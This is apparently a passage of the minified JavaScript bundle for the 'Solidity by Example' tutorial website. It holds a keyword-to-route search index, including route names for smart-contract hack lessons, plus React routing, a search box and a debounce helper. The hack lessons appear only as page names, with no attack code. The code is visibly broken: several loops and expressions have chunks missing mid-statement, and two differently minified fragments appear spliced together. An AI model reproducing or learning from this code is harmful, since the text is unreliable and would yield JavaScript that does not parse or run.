=["/hashing"],v1=["/hashing"],R1=["/hashing"],N1=["/hacks/weth-permit","/hacks/vault-inflation","/hacks/signature-replay","/hacks/self-destruct","/hacks/re-entrancy","/hacks/randomness","/hacks/phishing-with-tx-origin","/hacks/overflow","/hacks/honeypot","/hacks/hiding-malicious-code-with-external-contract","/hacks/front-running","/hacks/deploy-different-contracts-same-address","/hacks/denial-of-service","/hacks/delegatecall","/hacks/contract-size","/hacks/block-timestamp-manipulation","/hacks/accessing-private-data"],H1=["/hacks/weth-permit","/hacks/vault-inflation","/hacks/signature-replay","/hacks/self-destruct","/hacks/re-entrancy","/hacks/randomness","/hacks/phishing-with-tx-origin","/hacks/overflow","/hacks/honeypot","/hacks/hiding-malicious-code-with-external-contract","/hacks/front-running","/hacks/deploy-different-contracts-same-address","/hacks/denial-of-service","/hacks/delegatecall","/hacks/contract-size","/hacks/block-timestamp-manipulation","/hacks/accessing-private-data","/events-advanced"],F1=["/hacks/weth-permit"],K1=["/hacks/weth-permit","/app/gasless-token-transfer"],M1=["/hacks/vault-inflation"],S1=["/hacks/vault-inflation"],x1=["/hacks/vault-inflation","/defi/vault"],J1=["/hacks/signature-replay"],z1=["/hacks/self-destruct"],D1=["/hacks/randomness"],E1=["/hacks/randomness"],Q1=["/hacks/randomness"],T1=["/hacks/randomness"],U1=["/hacks/randomness","/hacks/block-timestamp-manipulation"],_1=["/hacks/randomness","/hacks/block-timestamp-manipulation"],L1=["/hacks/phishing-with-tx-origin"],O1=["/hacks/overflow"],P1=["/hacks/honeypot"],$1=["/hacks/hiding-malicious-code-with-external-contract"],q1=["/hacks/hiding-malicious-code-with-external-contract"],sY=["/hacks/hiding-malicious-code-with-external-contract"],aY=["/hacks/hiding-malicious-code-with-external-contract"],nY=["/hacks/front-running"],lY=["/hacks/front-running"],pY=["/hacks/deploy-different-contracts-same-address","/app/deploy-any-contract"],eY=["/hacks/deploy-different-contracts-same-address"],cY=["/hacks/deploy-different-contracts-same-address"],tY=["/hacks/denial-of-service"],oY=["/hacks/denial-of-service"],rY=["/hacks/delegatecall","/delegatecall","/app/upgradeable-proxy","/app/multi-delegatecall"],iY=["/hacks/contract-size"],gY=["/hacks/contract-size"],hY=["/hacks/contract-size"],IY=["/hacks/contract-size"],dY=["/hacks/block-timestamp-manipulation"],CY=["/hacks/accessing-private-data"],jY=["/hacks/accessing-private-data"],AY=["/gas-golf"],uY=["/function-selector"],yY=["/function-selector"],mY=["/function-modifier"],bY=["/function-modifier"],wY=["/function-modifier"],kY=["/first-app"],ZY=["/first-app"],WY=["/evm/storage","/evm/memory"],BY=["/evm/storage","/evm/memory","/assembly-variable","/assembly-math","/assembly-loop","/assembly-if","/assembly-error","/app/assembly-bin-exp"],GY=["/evm/storage","/evm/memory","/bitwise","/assembly-variable","/assembly-math","/assembly-loop","/assembly-if","/assembly-error","/app/assembly-bin-exp"],fY=["/evm/memory","/data-locations"],VY=["/events-advanced","/events"],YY=["/events-advanced"],XY=["/events-advanced"],vY=["/events-advanced"],RY=["/events"],NY=["/ether-units"],HY=["/ether-units"],FY=["/error"],KY=["/error","/assembly-error"],MY=["/error"],SY=["/enum"],xY=["/defi/vault","/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2","/defi/staking-rewards","/defi/stable-swap-amm","/defi/discrete-staking-rewards","/defi/dai-proxy","/defi/constant-sum-amm","/defi/constant-product-amm","/defi/chainlink-price-oracle"],JY=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2"],zY=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash"],DY=["/defi/uniswap-v3-swap","/defi/uniswap-v3-flash-swap","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2","/defi/stable-swap-amm"],EY=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2","/defi/stable-swap-amm","/defi/constant-sum-amm","/defi/constant-product-amm"],QY=["/defi/uniswap-v3-liquidity","/defi/uniswap-v2-add-remove-liquidity"],TY=["/defi/uniswap-v3-flash-swap"],UY=["/defi/uniswap-v3-flash","/defi/uniswap-v2-flash-swap"],_Y=["/defi/uniswap-v3-flash"],LY=["/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2"],OY=["/defi/uniswap-v2-optimal-one-sided-supply"],PY=["/defi/uniswap-v2-optimal-one-sided-supply"],$Y=["/defi/uniswap-v2-optimal-one-sided-supply"],qY=["/defi/uniswap-v2-optimal-one-sided-supply"],sX=["/defi/uniswap-v2-add-remove-liquidity","/assembly-math"],aX=["/defi/uniswap-v2-add-remove-liquidity"],nX=["/defi/staking-rewards","/defi/discrete-staking-rewards"],lX=["/defi/staking-rewards","/defi/discrete-staking-rewards"],pX=["/defi/staking-rewards","/defi/discrete-staking-rewards"],eX=["/defi/stable-swap-amm"],cX=["/defi/stable-swap-amm"],tX=["/defi/discrete-staking-rewards"],oX=["/defi/dai-proxy"],rX=["/defi/dai-proxy","/app/upgradeable-proxy","/app/minimal-proxy"],iX=["/defi/constant-sum-amm"],gX=["/defi/constant-product-amm"],hX=["/defi/chainlink-price-oracle"],IX=["/defi/chainlink-price-oracle"],dX=["/defi/chainlink-price-oracle"],CX=["/defi/chainlink-price-oracle"],jX=["/data-locations"],AX=["/data-locations"],uX=["/data-locations"],yX=["/constructor"],mX=["/constructor"],bX=["/calling-contract"],wX=["/bitwise"],kX=["/bitwise"],ZX=["/bitwise"],WX=["/bitwise"],BX=["/assembly-math"],GX=["/array"],fX=["/array"],VX=["/app/write-to-any-slot"],YX=["/app/write-to-any-slot","/app/deploy-any-contract"],XX=["/app/write-to-any-slot"],vX=["/app/upgradeable-proxy"],RX=["/app/uni-directional-payment-channel","/app/bi-directional-payment-channel"],NX=["/app/uni-directional-payment-channel","/app/bi-directional-payment-channel"],HX=["/app/time-lock"],FX=["/app/time-lock"],KX=["/app/simple-bytecode-contract"],MX=["/app/simple-bytecode-contract"],SX=["/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call"],xX=["/app/multi-sig-wallet"],JX=["/app/multi-sig-wallet","/app/ether-wallet"],zX=["/app/multi-call"],DX=["/app/minimal-proxy"],EX=["/app/merkle-tree","/app/airdrop"],QX=["/app/merkle-tree"],TX=["/app/iterable-mapping"],UX=["/app/gasless-token-transfer"],_X=["/app/gasless-token-transfer","/app/erc20"],LX=["/app/gasless-token-transfer"],OX=["/app/erc721"],PX=["/app/erc721"],$X=["/app/erc721","/app/erc1155"],qX=["/app/erc20"],sv=["/app/erc20"],av=["/app/erc1155"],nv=["/app/erc1155"],lv=["/app/english-auction"],pv=["/app/english-auction","/app/dutch-auction"],ev=["/app/english-auction","/app/dutch-auction"],cv=["/app/dutch-auction"],tv=["/app/crowd-fund"],ov=["/app/crowd-fund"],rv=["/app/crowd-fund"],iv=["/app/create2"],gv=["/app/assembly-bin-exp"],hv=["/app/assembly-bin-exp"],Iv=["/app/airdrop"],dv=["/abi-encode","/abi-decode"],Cv=["/abi-encode"],jv=["/abi-encode","/abi-decode"],Av=["/abi-encode"],uv=["/abi-encode"],yv=["/abi-encode"],mv=["/abi-decode"],Ro={visibility:qf,function:["/visibility","/view-and-pure-functions","/sending-ether","/hashing","/function-selector","/function-modifier","/function","/fallback","/delegatecall","/calling-contract","/call"],functions:sV,internal:aV,private:["/visibility","/hacks/accessing-private-data"],public:["/visibility"],external:nV,view:lV,pure:pV,variable:eV,variables:cV,local:tV,global:oV,state:rV,data:iV,user:gV,defined:hV,value:IV,types:dV,udvt:CV,gas:jV,unchecked:AV,math:uV,overflow:yV,underflow:mV,try:["/try-catch"],catch:["/try-catch"],error:bV,errors:wV,transient:kV,storage:ZV,test:WV,echidna:BV,calling:GV,parent:fV,contract:VV,contracts:YV,inheritance:XV,super:["/super","/inheritance"],struct:vV,structs:RV,type:NV,reading:HV,writing:FV,app:KV,application:MV,cryptography:SV,verify:xV,verifying:JV,signature:zV,signatures:DV,ecrecover:EV,shadow:QV,shadowing:TV,sending:UV,send:_V,ether:LV,eth:OV,transfer:PV,call:$V,fallback:qV,receive:s1,payable:a1,primitive:n1,primitives:l1,boolean:p1,uint256:e1,int256:c1,address:t1,uint:o1,int:r1,new:["/new-contract","/new-contract"],create:i1,creates:g1,create2:h1,salt:I1,mapping:d1,for:["/loop","/assembly-loop"],loop:C1,loops:j1,while:["/loop","/assembly-loop"],do:["/loop"],library:A1,interface:["/interface"],interfaces:u1,override:y1,virtual:m1,is:b1,import:["/import","/enum"],constant:w1,constants:k1,immutable:Z1,immutables:W1,if:["/if-else","/assembly-if"],else:["/if-else"],conditional:B1,statement:G1,statements:f1,hello:V1,world:Y1,hash:X1,hashing:v1,keccak256:R1,hack:N1,security:H1,weth:F1,permit:K1,inflation:M1,erc4626:S1,vault:x1,replay:J1,selfdestruct:z1,"re-entrancy":["/hacks/re-entrancy"],source:D1,random:E1,randomness:Q1,blockhash:T1,block:U1,timestamp:_1,phishing:L1,"tx.origin":["/hacks/phishing-with-tx-origin"],arithmetic:O1,honeypot:P1,hide:$1,hiding:q1,malicious:sY,code:aY,front:nY,running:lY,deploy:pY,different:eY,same:cY,denial:tY,service:oY,delegatecall:rY,bypass:iY,size:gY,check:hY,extcodesize:IY,manipulation:dY,access:CY,accessing:jY,golf:AY,selector:uY,selectors:yY,modifier:mY,modifiers:bY,_:wY,first:kY,counter:ZY,evm:WY,yul:BY,assembly:GY,memory:fY,events:VY,advanced:YY,"event-driven":["/events-advanced"],monitoring:XY,filtering:vY,event:RY,wei:NY,units:HY,require:FY,revert:KY,assert:MY,enum:["/enum"],imports:SY,defi:xY,uniswap:JY,v3:zY,swap:DY,amm:EY,liquidity:QY,arbitrage:TY,flash:UY,loan:_Y,v2:LY,optimal:OY,one:PY,sided:$Y,supply:qY,add:sX,remove:aX,staking:nX,reward:lX,rewards:pX,curve:eX,stable:cX,discrete:tX,dai:oX,proxy:rX,sum:iX,product:gX,chainlink:hX,price:IX,oracle:dX,oracles:CX,location:jX,locations:AX,calldata:uX,constructor:yX,constructors:mX,other:bX,bitwise:wX,most:kX,significant:ZX,bit:WX,mul:BX,switch:["/assembly-if"],array:GX,arrays:fX,write:VX,any:YX,slot:XX,upgradeable:vX,"uni-directional":["/app/uni-directional-payment-channel"],payment:RX,channel:NX,time:HX,lock:FX,simple:KX,bytecode:MX,multi:SX,sig:xX,wallet:JX,staticcall:zX,minimal:DX,merkle:EX,tree:QX,iterable:TX,gasless:UX,token:_X,ERC20:LX,erc721:OX,ierc721:PX,nft:$X,erc20:qX,ierc20:sv,erc1155:av,ierc1155:nv,english:lv,auction:pv,auctions:ev,dutch:cv,crowd:tv,fund:ov,funding:rv,precompute:iv,"bi-directional":["/app/bi-directional-payment-channel"],binary:gv,exponentiation:hv,airdrop:Iv,abi:dv,encode:Cv,bytes:jv,encodeWithSelector:Av,encodeWithSignature:uv,encodeCall:yv,decode:mv},No={"/visibility":["visibility","function","functions","internal","private","public","external"],"/view-and-pure-functions":["view","pure","function","functions"],"/variables":["variable","variables","local","global","state","data"],"/user-defined-value-types":["data","user","defined","value","types","udvt"],"/unchecked-math":["gas","unchecked","math","overflow","underflow"],"/try-catch":["try","catch","error","errors"],"/transient-storage":["transient","storage"],"/tests/echidna":["test","echidna"],"/super":["calling","parent","contract","contracts","inheritance","super"],"/structs":["struct","structs","data","type","types","variable","variables"],"/state-variables":["reading","writing","state","variable","variables","app","application"],"/signature":["cryptography","verify","verifying","signature","signatures","ecrecover"],"/shadowing-inherited-state-variables":["state","variables","variable","shadow","shadowing","inheritance"],"/sending-ether":["sending","send","ether","eth","transfer","send","call","fallback","receive","payable","function","functions"],"/primitives":["primitive","primitives","data","type","types","variable","variables","boolean","uint256","int256","address","uint","int"],"/payable":["payable","eth","send","ether"],"/new-contract":["new","contract","create","contracts","creates","new","create2","salt"],"/mapping":["data","variable","variables","mapping"],"/loop":["for","loop","loops","while","do"],"/library":["library"],"/interface":["interface","interfaces","contract","contracts"],"/inheritance":["inheritance","super","override","virtual","is","contract","contracts"],"/import":["import"],"/immutable":["constant","constants","immutable","immutables","data","variable","variables"],"/if-else":["if","else","conditional","statement","statements"],"/hello-world":["contract","app","application","hello","world"],"/hashing":["hash","hashing","function","functions","keccak256","cryptography"],"/hacks/weth-permit":["hack","security","weth","permit"],"/hacks/vault-inflation":["hack","security","inflation","erc4626","vault"],"/hacks/signature-replay":["hack","security","cryptography","signature","replay"],"/hacks/self-destruct":["hack","security","selfdestruct"],"/hacks/re-entrancy":["hack","security","re-entrancy"],"/hacks/randomness":["hack","security","source","random","randomness","blockhash","block","timestamp"],"/hacks/phishing-with-tx-origin":["hack","security","phishing","tx.origin"],"/hacks/overflow":["hack","security","arithmetic","overflow","underflow"],"/hacks/honeypot":["hack","security","honeypot"],"/hacks/hiding-malicious-code-with-external-contract":["hack","security","hide","hiding","malicious","code","external","contract"],"/hacks/front-running":["hack","security","front","running"],"/hacks/deploy-different-contracts-same-address":["hack","security","deploy","salt","create","create2","different","contract","same","address"],"/hacks/denial-of-service":["hack","security","denial","service"],"/hacks/delegatecall":["hack","security","delegatecall"],"/hacks/contract-size":["hack","security","bypass","contract","size","check","extcodesize"],"/hacks/block-timestamp-manipulation":["hack","security","block","timestamp","manipulation"],"/hacks/accessing-private-data":["hack","security","access","accessing","private","data","storage"],"/gas-golf":["gas","golf"],"/gas":["gas"],"/function-selector":["function","functions","selector","selectors"],"/function-modifier":["function","functions","modifier","modifiers","_"],"/function":["function","functions"],"/first-app":["contract","contracts","app","first","application","counter"],"/fallback":["fallback","function","functions","receive","payable","send","ether","eth","transfer"],"/evm/storage":["data","evm","storage","state","variable","yul","assembly"],"/evm/memory":["data","evm","memory","yul","assembly"],"/events-advanced":["events","advanced","event-driven","monitoring","filtering","security"],"/events":["event","events"],"/ether-units":["data","variables","variable","ether","wei","units"],"/error":["error","errors","require","revert","assert"],"/enum":["data","variable","variables","enum","import","imports"],"/delegatecall":["delegatecall","call","contract","contracts","function","functions"],"/defi/vault":["defi","vault"],"/defi/uniswap-v3-swap":["defi","uniswap","v3","swap","amm"],"/defi/uniswap-v3-liquidity":["defi","uniswap","v3","liquidity","amm"],"/defi/uniswap-v3-flash-swap":["defi","uniswap","v3","swap","arbitrage","amm"],"/defi/uniswap-v3-flash":["defi","uniswap","v3","flash","loan","amm"],"/defi/uniswap-v2-optimal-one-sided-supply":["defi","uniswap","v2","optimal","one","sided","supply","amm"],"/defi/uniswap-v2-flash-swap":["defi","uniswap","v2","flash","swap","amm"],"/defi/uniswap-v2-add-remove-liquidity":["defi","uniswap","v2","add","remove","liquidity","amm"],"/defi/uniswap-v2":["defi","uniswap","v2","swap","amm"],"/defi/staking-rewards":["defi","staking","reward","rewards"],"/defi/stable-swap-amm":["defi","curve","stable","swap","amm"],"/defi/discrete-staking-rewards":["defi","discrete","staking","reward","rewards"],"/defi/dai-proxy":["defi","dai","proxy"],"/defi/constant-sum-amm":["defi","constant","sum","amm"],"/defi/constant-product-amm":["defi","constant","product","amm"],"/defi/chainlink-price-oracle":["defi","chainlink","price","oracle","oracles"],"/data-locations":["data","location","locations","storage","memory","calldata"],"/constructor":["constructor","constructors","contract","inheritance"],"/constants":["constant","constants","data","variable","variables"],"/calling-contract":["calling","other","contract","contracts","call","function","functions"],"/call":["contract","contracts","call","function","functions"],"/bitwise":["bitwise","most","significant","bit","assembly"],"/assembly-variable":["assembly","variable","yul"],"/assembly-math":["assembly","yul","math","add","mul"],"/assembly-loop":["assembly","loop","yul","while","for"],"/assembly-if":["assembly","yul","if","switch"],"/assembly-error":["assembly","yul","error","revert"],"/array":["data","variable","variables","array","arrays"],"/app/write-to-any-slot":["app","application","write","any","slot","storage"],"/app/upgradeable-proxy":["app","application","delegatecall","upgradeable","proxy"],"/app/uni-directional-payment-channel":["app","application","uni-directional","payment","channel","signature","cryptography"],"/app/time-lock":["app","application","time","lock"],"/app/simple-bytecode-contract":["app","application","simple","bytecode","contract"],"/app/multi-sig-wallet":["app","application","multi","sig","signature","wallet"],"/app/multi-delegatecall":["app","application","multi","delegatecall"],"/app/multi-call":["app","application","multi","call","staticcall"],"/app/minimal-proxy":["app","application","minimal","proxy","contract"],"/app/merkle-tree":["app","application","merkle","tree","cryptography"],"/app/iterable-mapping":["app","application","mapping","data","iterable"],"/app/gasless-token-transfer":["app","application","gasless","token","transfer","ERC20","permit"],"/app/ether-wallet":["app","application","ether","eth","wallet"],"/app/erc721":["app","application","erc721","ierc721","nft"],"/app/erc20":["app","application","erc20","ierc20","token"],"/app/erc1155":["app","application","erc1155","nft","ierc1155"],"/app/english-auction":["app","application","english","auction","auctions"],"/app/dutch-auction":["app","application","dutch","auction","auctions"],"/app/deploy-any-contract":["app","application","deploy","any","contract"],"/app/crowd-fund":["app","application","crowd","fund","funding"],"/app/create2":["app","application","create2","precompute","contract","address"],"/app/bi-directional-payment-channel":["app","application","bi-directional","payment","channel","signature","cryptography"],"/app/assembly-bin-exp":["assembly","yul","binary","exponentiation","math"],"/app/airdrop":["app","application","merkle","airdrop"],"/abi-encode":["abi","encode","bytes","encodeWithSelector","encodeWithSignature","encodeCall"],"/abi-decode":["abi","decode","bytes"]},hc=[];for(const s of Object.keys(No))hc.push(...No[s]);const Cg={};for(let s=0;s{const I=n.get("q");I!=null&&I.length>0&&(a(I),c(I,!1))},[]);function c(I,d){const j=I.trim();if(j.length==0){e(null),d&&l({q:""});return}const u=bv(j.split(" ")),m={};for(const b of u){const B=wv(b);for(const h of B)m[h]=!0}e(m),d&&l({q:j})}const t=Lf(I=>c(I,!0),500,[]);function o(I){a(I),t(I)}function i(){return p?Object.keys(p).length==0?r.jsx("div",{children:"No results"}):r.jsx("ul",{className:as.list,children:jp.filter(({path:I})=>p[I]).map(({path:I,title:d})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:I,children:d})},I))}):r.jsxs(r.Fragment,{children:[rt.map(({routes:I,title:d},j)=>r.jsxs("div",{children:[d&&r.jsx("h3",{className:as.category,children:d}),r.jsx("ul",{className:as.list,children:I.map(({path:u,title:m})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:u,children:m})},u))})]},j)),r.jsxs("div",{children:[r.jsx("h3",{className:as.category,children:"Translations"}),Ld.map(({lang:I,url:d})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:d,target:"__blank",children:I})},d))]})]})}return r.jsxs("div",{className:as.component,children:[r.jsx(dg,{title:"Solidity by Example | 0.8.26",description:"Learn smart contract programming using Solidity"}),r.jsx("h1",{className:as.header,children:r.jsx("a",{href:"/",children:"Solidity by Example"})}),r.jsx("div",{className:as.subHeader,children:"v 0.8.26"}),r.jsxs("div",{className:as.main,children:[r.jsxs("p",{children:["Introduction to ",r.jsx("a",{href:"https://solidity.readthedocs.io",children:"Solidity"})," with simple examples"]}),r.jsxs("div",{className:as.youTube,children:[r.jsx("img",{src:Ig,alt:"logo",className:as.youTubeLogo}),r.jsx("a",{href:"https://www.youtube.com/@smartcontractprogrammer",target:"__blank",children:"Most code are explained here"})]}),r.jsxs("div",{className:as.updraft,children:[r.jsx("img",{src:hg,alt:"logo",className:as.updraftLogo}),r.jsx("a",{href:"https://updraft.cyfrin.io/",target:"__blank",children:"Learn Solidity at Cyfrin Updraft"})]}),r.jsx("div",{className:as.updates,children:Nv.map((I,d)=>r.jsx("div",{children:I},d))}),r.jsx("div",{className:as.search,children:r.jsx(ff,{value:s,onChange:o})}),i()]})]})}const Fv=[{path:"/abi-decode",component:_C},{path:"/abi-encode",component:aj},{path:"/app/airdrop",component:oj},{path:"/app/assembly-bin-exp",component:Cj},{path:"/app/bi-directional-payment-channel",component:wj},{path:"/app/create2",component:Vj},{path:"/app/crowd-fund",component:Fj},{path:"/app/deploy-any-contract",component:Dj},{path:"/app/dutch-auction",component:Oj},{path:"/app/english-auction",component:lA},{path:"/app/erc1155",component:iA},{path:"/app/erc20",component:AA},{path:"/app/erc721",component:ZA},{path:"/app/ether-wallet",component:XA},{path:"/app/gasless-token-transfer",component:MA},{path:"/app/iterable-mapping",component:QA},{path:"/app/merkle-tree",component:$A},{path:"/app/minimal-proxy",component:eu},{path:"/app/multi-call",component:hu},{path:"/app/multi-delegatecall",component:yu},{path:"/app/multi-sig-wallet",component:Bu},{path:"/app/simple-bytecode-contract",component:Ru},{path:"/app/time-lock",component:xu},{path:"/app/uni-directional-payment-channel",component:Uu},{path:"/app/upgradeable-proxy",component:sy},{path:"/app/write-to-any-slot",component:ty},{path:"/array",component:dy},{path:"/assembly-error",component:by},{path:"/assembly-if",component:fy},{path:"/assembly-loop",component:Hy},{path:"/assembly-math",component:zy},{path:"/assembly-variable",component:Ly},{path:"/bitwise",component:nm},{path:"/call",component:rm},{path:"/calling-contract",component:jm},{path:"/constants",component:km},{path:"/constructor",component:Ym},{path:"/data-locations",component:Km},{path:"/defi/chainlink-price-oracle",component:Em},{path:"/defi/constant-product-amm",component:Pm},{path:"/defi/constant-sum-amm",component:pb},{path:"/defi/dai-proxy",component:gb},{path:"/defi/discrete-staking-rewards",component:ub},{path:"/defi/stable-swap-amm",component:Wb},{path:"/defi/staking-rewards",component:vb},{path:"/defi/uniswap-v2",component:Sb},{path:"/defi/uniswap-v2-add-remove-liquidity",component:Tb},{path:"/defi/uniswap-v2-flash-swap",component:qb},{path:"/defi/uniswap-v2-optimal-one-sided-supply",component:cw},{path:"/defi/uniswap-v3-flash",component:Iw},{path:"/defi/uniswap-v3-flash-swap",component:mw},{path:"/defi/uniswap-v3-liquidity",component:Gw},{path:"/defi/uniswap-v3-swap",component:Nw},{path:"/defi/vault",component:Jw},{path:"/delegatecall",component:_w},{path:"/enum",component:ak},{path:"/error",component:ok},{path:"/ether-units",component:Ck},{path:"/events",component:wk},{path:"/events-advanced",component:Vk},{path:"/evm/memory",component:Fk},{path:"/evm/storage",component:Dk},{path:"/fallback",component:Ok},{path:"/first-app",component:l0},{path:"/function",component:i0},{path:"/function-modifier",component:A0},{path:"/function-selector",component:Z0},{path:"/gas",component:X0},{path:"/gas-golf",component:M0},{path:"/hacks/accessing-private-data",component:Q0},{path:"/hacks/block-timestamp-manipulation",component:$0},{path:"/hacks/contract-size",component:eZ},{path:"/hacks/delegatecall",component:hZ},{path:"/hacks/denial-of-service",component:yZ},{path:"/hacks/deploy-different-contracts-same-address",component:BZ},{path:"/hacks/front-running",component:RZ},{path:"/hacks/hiding-malicious-code-with-external-contract",component:xZ},{path:"/hacks/honeypot",component:UZ},{path:"/hacks/overflow",component:sW},{path:"/hacks/phishing-with-tx-origin",component:tW},{path:"/hacks/randomness",component:dW},{path:"/hacks/re-entrancy",component:bW},{path:"/hacks/self-destruct",component:fW},{path:"/hacks/signature-replay",component:HW},{path:"/hacks/vault-inflation",component:zW},{path:"/hacks/weth-permit",component:LW},{path:"/hashing",component:n2},{path:"/hello-world",component:r2},{path:"/if-else",component:j2},{path:"/immutable",component:k2},{path:"/import",component:Y2},{path:"/inheritance",component:K2},{path:"/interface",component:E2},{path:"/library",component:P2},{path:"/loop",component:pB},{path:"/mapping",component:gB},{path:"/new-contract",component:uB},{path:"/payable",component:WB},{path:"/primitives",component:vB},{path:"/sending-ether",component:SB},{path:"/shadowing-inherited-state-variables",component:TB},{path:"/signature",component:qB},{path:"/state-variables",component:cG},{path:"/structs",component:IG},{path:"/super",component:mG},{path:"/tests/echidna",component:GG},{path:"/transient-storage",component:NG},{path:"/try-catch",component:JG},{path:"/unchecked-math",component:_G},{path:"/user-defined-value-types",component:af},{path:"/variables",component:of},{path:"/view-and-pure-functions",component:jf},{path:"/visibility",component:kf},{path:"",component:Hv}];function Ho(){const{state:s,init:a}=tt();return W.useLayoutEffect(()=>{a({width:window.document.body.clientWidth})},[]),s.initialized?r.jsx(Md,{basename:"",children:r.jsx(NC,{children:r.jsx(Nd,{children:Fv.map(n=>{const{prev:l,next:p}=lC(n.path);return r.jsx(gg,{path:n.path,element:_o.createElement(n.component,{prev:l,next:p})},n.path)})})})}):null}const Kv=document.getElementById("root"),Mv=$i(Kv),Fo=document.getElementById("root");Fo.hasChildNodes()?Pi(Fo,r.jsx(wo,{children:r.jsx(Ho,{})})):Mv.render(r.jsx(wo,{children:r.jsx(Ho,{})})); +`,vV=({prev:s,next:a})=>r.jsx(A,{version:BV,title:fV,description:VV,cyfrinLink:YV,html:RV,prev:s,next:a,codes:XV}),NV=({size:s,className:a=""})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor",width:s,height:s,className:a,children:r.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-5.197-5.197m0 0A7.5 7.5 0 105.196 5.196a7.5 7.5 0 0010.607 10.607z"})}),HV="_component_efeb7_1",KV="_icon_efeb7_8",FV="_input_efeb7_12",Ie={component:HV,icon:KV,input:FV},MV=({value:s,onChange:a})=>{function n(l){a(l.target.value)}return r.jsxs("div",{className:Ie.component,children:[r.jsx(NV,{size:18,className:Ie.icon}),r.jsx("input",{className:Ie.input,placeholder:"Search",value:s,onChange:n})]})};var SV="Expected a function",Xo=NaN,xV="[object Symbol]",JV=/^\s+|\s+$/g,zV=/^[-+]0x[0-9a-f]+$/i,DV=/^0b[01]+$/i,EV=/^0o[0-7]+$/i,QV=parseInt,TV=typeof Il=="object"&&Il&&Il.Object===Object&&Il,UV=typeof self=="object"&&self&&self.Object===Object&&self,LV=TV||UV||Function("return this")(),_V=Object.prototype,OV=_V.toString,PV=Math.max,$V=Math.min,de=function(){return LV.Date.now()};function qV(s,a,n){var l,p,e,c,t,o,i=0,I=!1,d=!1,j=!0;if(typeof s!="function")throw new TypeError(SV);a=Ro(a)||0,gc(n)&&(I=!!n.leading,d="maxWait"in n,e=d?PV(Ro(n.maxWait)||0,a):e,j="trailing"in n?!!n.trailing:j);function u(k){var B=l,Y=p;return l=p=void 0,i=k,c=s.apply(Y,B),c}function m(k){return i=k,t=setTimeout(h,a),I?u(k):c}function b(k){var B=k-o,Y=k-i,x=a-B;return d?$V(x,e-Y):x}function G(k){var B=k-o,Y=k-i;return o===void 0||B>=a||B<0||d&&Y>=e}function h(){var k=de();if(G(k))return g(k);t=setTimeout(h,b(k))}function g(k){return t=void 0,j&&l?u(k):(l=p=void 0,c)}function C(){t!==void 0&&clearTimeout(t),i=0,l=o=p=t=void 0}function y(){return t===void 0?c:g(de())}function Z(){var k=de(),B=G(k);if(l=arguments,p=this,o=k,B){if(t===void 0)return m(o);if(d)return t=setTimeout(h,a),u(o)}return t===void 0&&(t=setTimeout(h,a)),c}return Z.cancel=C,Z.flush=y,Z}function gc(s){var a=typeof s;return!!s&&(a=="object"||a=="function")}function s1(s){return!!s&&typeof s=="object"}function a1(s){return typeof s=="symbol"||s1(s)&&OV.call(s)==xV}function Ro(s){if(typeof s=="number")return s;if(a1(s))return Xo;if(gc(s)){var a=typeof s.valueOf=="function"?s.valueOf():s;s=gc(a)?a+"":a}if(typeof s!="string")return s===0?s:+s;s=s.replace(JV,"");var n=DV.test(s);return n||EV.test(s)?QV(s.slice(2),n?2:8):zV.test(s)?Xo:+s}var n1=qV;const l1=Fo(n1),p1={leading:!1,trailing:!0};function e1(s,a,n){return W.useCallback(l1(s,a,p1),n)}function c1(s,a){let n=s;for(let l=0;l0;){const[e,c,t]=a.pop();p&&(l=l.slice(0,c-1),p=!1),l+=e;const o=Object.keys(t);if(o.length>0)for(let i=0;ia+p)}const r1=["/visibility"],i1=["/visibility","/view-and-pure-functions","/sending-ether","/hashing","/function-selector","/function-modifier","/function","/fallback","/delegatecall","/calling-contract","/call"],g1=["/visibility"],h1=["/visibility","/hacks/hiding-malicious-code-with-external-contract"],I1=["/view-and-pure-functions"],d1=["/view-and-pure-functions"],C1=["/variables","/structs","/state-variables","/shadowing-inherited-state-variables","/primitives","/mapping","/immutable","/evm/storage","/ether-units","/enum","/constants","/assembly-variable","/array"],j1=["/variables","/structs","/state-variables","/shadowing-inherited-state-variables","/primitives","/mapping","/immutable","/ether-units","/enum","/constants","/array"],A1=["/variables"],u1=["/variables"],y1=["/variables","/state-variables","/shadowing-inherited-state-variables","/evm/storage"],m1=["/variables","/user-defined-value-types","/structs","/primitives","/mapping","/immutable","/hacks/accessing-private-data","/evm/storage","/evm/memory","/ether-units","/enum","/data-locations","/constants","/array","/app/iterable-mapping"],b1=["/user-defined-value-types"],w1=["/user-defined-value-types"],k1=["/user-defined-value-types"],Z1=["/user-defined-value-types","/structs","/primitives"],W1=["/user-defined-value-types"],G1=["/unchecked-math","/gas-golf","/gas"],B1=["/unchecked-math"],f1=["/unchecked-math","/assembly-math","/app/assembly-bin-exp"],V1=["/unchecked-math","/hacks/overflow"],Y1=["/unchecked-math","/hacks/overflow"],X1=["/try-catch","/foundry/error","/error","/assembly-error"],R1=["/try-catch","/error"],v1=["/transient-storage"],N1=["/transient-storage","/hacks/accessing-private-data","/evm/storage","/data-locations","/app/write-to-any-slot"],H1=["/tests/echidna"],K1